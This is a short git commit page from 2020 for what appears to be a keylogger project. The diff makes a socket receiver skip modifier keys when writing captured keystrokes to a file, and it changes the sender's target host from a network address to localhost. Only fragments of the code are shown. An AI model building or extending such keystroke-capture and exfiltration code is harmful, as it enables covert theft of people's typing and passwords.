remove the logging of non-text keys

This commit is contained in:
CactiChameleon9 2020-12-10 10:10:32 +00:00
parent b9c4b014c2
commit 3fb89cdaa2
3 changed files with 4 additions and 2 deletions

View File

@ -43,6 +43,7 @@ while True:
break break
# write to the file the bytes we just received # write to the file the bytes we just received
f = open(filename, 'ab') f = open(filename, 'ab')
if (bytes_read.find("Key") == -1): #don't write shifts and controls
f.write(bytes_read) f.write(bytes_read)
print(bytes_read) print(bytes_read)
f.close() f.close()

View File

@ -9,7 +9,7 @@ BUFFER_SIZE = 128 # send 4096 bytes each time step
# the ip address or hostname of the server, the receiver # the ip address or hostname of the server, the receiver
host = "10.4.27.243" host = "127.0.0.1"
# the port, let's use 5001 # the port, let's use 5001
port = 5001 port = 5001
# the name of file we want to send, make sure it exists # the name of file we want to send, make sure it exists

1
data.txt Normal file
View File

@ -0,0 +1 @@
c